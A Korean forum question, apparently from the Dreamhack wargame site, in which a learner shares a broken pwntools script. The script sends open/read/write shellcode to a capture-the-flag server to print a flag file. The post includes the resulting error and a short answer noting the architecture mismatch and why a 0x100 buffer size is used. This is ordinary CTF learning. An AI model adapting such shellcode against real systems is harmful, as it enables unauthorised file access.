arm 칩으로 문제를 풀고 있습니다. 문제가 안풀려요.

from pwn import *

p = remote('host3.dreamhack.games',13521)

context.arch = 'aarch64'

shellcode = ''
shellcode += shellcraft.pushstr('/home/shell_basic/flag_name_is_loooooong')
shellcode += shellcraft.open('r13', 0, 0)
shellcode += shellcraft.read('r0','r13',100)
shellcode += shellcraft.write(1,'r13',100)

p.sendlineafter(': ',asm(shellcode))

p.interactive


풀이의 shellcraft를 참고하여 코드를 작성했습니다.
검색해보니 r0 -> rax , r13 -> rsp 라고 설명이 되어있어서 원래 코드에서 수정해서 작성하였습니다.
그러나 작성하고나니까,
File "", line 1, in <module>
NameError: name 'r0' is not defined
[*] Closed connection to host3.dreamhack.games port 13521

이렇게 오류가 뜨네요

어떻게 풀어야하는지 모르곘어요 ㅜㅜ 윈도우 데스크탑이 없어서 현재 칼리리눅스 utm으로 돌리는 중입니다.
그리고 궁금증이 있는데, shellcraft에서 0x100이 들어가는 이유를 모르곘어요. 왜 0x100인가요? 데이터를 넉넉하게 받기 위해 0x100만큼 받는건가요?

#pwnable
작성자 정보
답변 1
avatar
bincat
Closed Beta Tester

문제가 구동되는 서버 환경은 arm set으로 풀면 안될 겁니다..
0x100 은 보통 여유로운 수치라서 그렇습니다. (플래그 길이에 대해서)

2022.06.30. 17:31
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기